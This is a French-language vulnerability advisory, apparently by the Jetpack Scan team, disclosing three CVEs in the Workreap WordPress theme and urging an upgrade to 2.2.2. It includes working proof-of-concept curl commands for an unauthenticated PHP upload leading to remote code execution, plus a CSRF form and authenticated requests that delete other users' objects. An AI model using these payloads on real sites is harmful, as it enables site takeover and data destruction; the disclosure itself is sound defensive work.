Multiples vulnérabilités dans le thème Workreap d’Amentotech

Récemment, l’équipe Jetpack a découvert des fichiers infectés sur l’un des sites de nos clients hébergés et a rapidement retracé l’origine de l’infection jusqu’au thème Workreap d’Amentotech. Nous avons ouvert une enquête et découvert plusieurs points d’accès AJAX vulnérables dans le thème ; le plus grave était une vulnérabilité de téléversement non authentifiée et non validée, susceptible d’entraîner l’exécution de code à distance et la prise de contrôle complète du site.

Nous avons signalé les vulnérabilités à l’équipe d’Amentotech par l’intermédiaire du programme Envato Helpful Hacker, et celles-ci ont été rapidement corrigées. La version 2.2.2 du thème, qui corrige les vulnérabilités découvertes, est sortie le 29 juin 2021.

En bref

En raison de la gravité des vulnérabilités, nous recommandons vivement à tous les utilisateurs du thème Workreap de passer à la version 2.2.2 ou ultérieure dès que possible. 

Téléchargez la mise à niveau depuis le site web du thème et installez-la manuellement, ou effectuez la mise à niveau automatiquement via l’extension de marché Envato.

Détails

Nom du thème : Workreap
URI du thème : http://amentotech.com/projects/wpworkreap
Auteur : Amentotech
URI de l’auteur :  https://themeforest.net/user/amentotech/portfolio

Les vulnérabilités

En raison de la gravité des vulnérabilités, nous retarderons la publication de la preuve de concept et de l’analyse complète afin de laisser aux utilisateurs le temps d’effectuer la mise à niveau.

Téléversement non authentifié permettant l’exécution de code à distance

Versions concernées : < 2.2.2
ID CVE : CVE-2021-24499
CVSSv3.1 : 10.0
CWE : CWE-284, CWE-641,
CWSS : 90.7
Lien WPScan : https://wpscan.com/vulnerability/74611d5f-afba-42ae-bc19-777cdf2808cb

Les actions AJAX workreap_award_temp_file_uploader et workreap_temp_file_uploader n’effectuaient pas de vérification des nonces ni ne vérifiaient d’une autre manière que la requête provenait d’un utilisateur valide. Les points d’accès permettaient de téléverser des fichiers arbitraires dans le répertoire uploads/workreap-temp. Les fichiers téléversés n’étaient ni nettoyés ni validés, ce qui permettait à un visiteur non authentifié de téléverser du code exécutable, comme des scripts PHP.

Preuve de concept

% curl -F 'action=workreap_award_temp_file_uploader' -F award_img=@malicious.php 'https://example.com/wp-admin/admin-ajax.php'
{"type":"success","message":"File uploaded!","thumbnail":"https:\/\/example.com\/wp-content\/uploads\/workreap-temp\/malicious.php","name":"malicious.php","size":"24.00 B"}

% curl 'https://example.com/wp-content/uploads/workreap-temp/malicious.php'
PWNED!

Plusieurs vulnérabilités liées à CSRF et à l’IDOR

Versions concernées : < 2.2.2
ID CVE : CVE-2021-24500
CVSSv3.1 : 8.2
CWE : CWE-283, CWE-284, CWE-862
CWSS : 78.3
Lien WPScan : https://wpscan.com/vulnerability/0c4b5ecc-54d0-45ec-9f92-b2ca3cadbe56

Plusieurs actions AJAX disponibles dans le thème Workreap ne bénéficiaient pas de protections contre CSRF et permettaient également des références directes non sécurisées à des objets (IDOR) qui n’étaient pas validées. Cela permet à un attaquant d’inciter un utilisateur connecté à envoyer une requête POST au site vulnérable, ce qui peut entraîner la modification ou la suppression d’objets arbitraires sur le site cible.

Dans les versions antérieures à la version 2.0.0, ces actions ne comportaient aucune authentification et pouvaient être exploitées par n’importe quel visiteur du site.

Preuve de concept

<form action="https:/example.com/wp-admin/admin-ajax.php" method="POST">
    <input name="action" type="hidden" value="workreap_portfolio_remove">
    <!-- note value does not have to be a portfolio, any post id will do -->
    <input name="id" type="hidden" value="1361">
    <input type="submit" value="Get rich!">
</form>

Vérifications d’autorisation manquantes dans les actions AJAX

Versions concernées : < 2.2.2
ID CVE : CVE-2021-24501
CVSSv3.1 : 7.1
CWE : CWE-283, CWE-862
CWSS : 68.5
Lien WPScan : https://wpscan.com/vulnerability/66e4aaf4-5ef7-4da8-a45c-e24f449c363e

Plusieurs actions AJAX disponibles dans le thème Workreap ne comportaient pas de vérifications d’autorisation permettant de s’assurer qu’un utilisateur était autorisé à effectuer des opérations critiques, comme la modification ou la suppression d’objets. Cela permettait à un utilisateur connecté de modifier ou de supprimer des objets appartenant à d’autres utilisateurs du site. 

Dans les versions antérieures à la version 2.0.0, ces actions ne comportent aucune authentification et peuvent être exploitées par n’importe quel visiteur du site.

Preuve de concept

# log in as arbitrary freelancer
curl -c .cookies -F action=workreap_ajax_login -F username=balle -F password=hunter2 \
  https://example.com/wp-admin/admin-ajax.php
{"job":"no","type":"success","role_type":"freelancers","redirect":"https:\/\/example.com\/dashboard\/?ref=profile&mode=settings&identity=3","url":"https:\/\/example.com\/","loggedin":true,"message":"Successfully Logged in"}%                                                                                                     

# delete arbitrary portfolio
curl -s -b .cookies -F action=workreap_portfolio_remove -F id=1361 \
  https://example.com/wp-admin/admin-ajax.php
{"type":"success","message":"Portfolio removed successfully."}

Chronologie

24/06/2021 : La vulnérabilité initiale de téléversement a été découverte par l’équipe Jetpack Scan et signalée au programme Envato Helpful Hacker.
25/06/2021 : D’autres vulnérabilités ont été découvertes et documentées ; Amentotech en a été informé par l’intermédiaire d’Envato.
27/06/2021 : La version 2.2.1 est sortie et a corrigé certaines vulnérabilités, mais pas toutes.
29/06/2021 : La version 2.2.2 est sortie et les correctifs ont été vérifiés par l’équipe Jetpack Scan.

Conclusion

Nous vous recommandons de vérifier la version actuelle du thème Workreap que vous utilisez sur votre site et, si elle est inférieure à la version 2.2.2, de la mettre à jour dès que possible ! 

Avec Jetpack, nous nous efforçons de veiller à ce que vos sites web soient protégés contre ces types de vulnérabilités. Pour garder une longueur d’avance sur toute nouvelle menace, consultez Jetpack Scan, qui comprend l’analyse de sécurité et la suppression automatique des logiciels malveillants.

Crédits

Chercheur d’origine : Harald Eilertsen

Merci au reste de l’équipe Jetpack Scan pour ses retours, son aide et ses corrections. Nous remercions également kailoon, du programme Envato Helpful Hacker, pour son aide afin de contacter Amentotech, ainsi qu’Amentotech pour sa réponse rapide, la correction des problèmes et la publication de la version mise à jour.

Découvrez les avantages de Jetpack

Découvrez comment Jetpack peut vous aider à protéger, accélérer et développer votre site WordPress.

Découvrir les offres

Une question ?

Les commentaires sont fermés pour cet article, mais nous sommes toujours là pour vous aider ! Consultez le forum d’assistance et nous répondrons volontiers à toutes vos questions.

Voir le forum d’assistance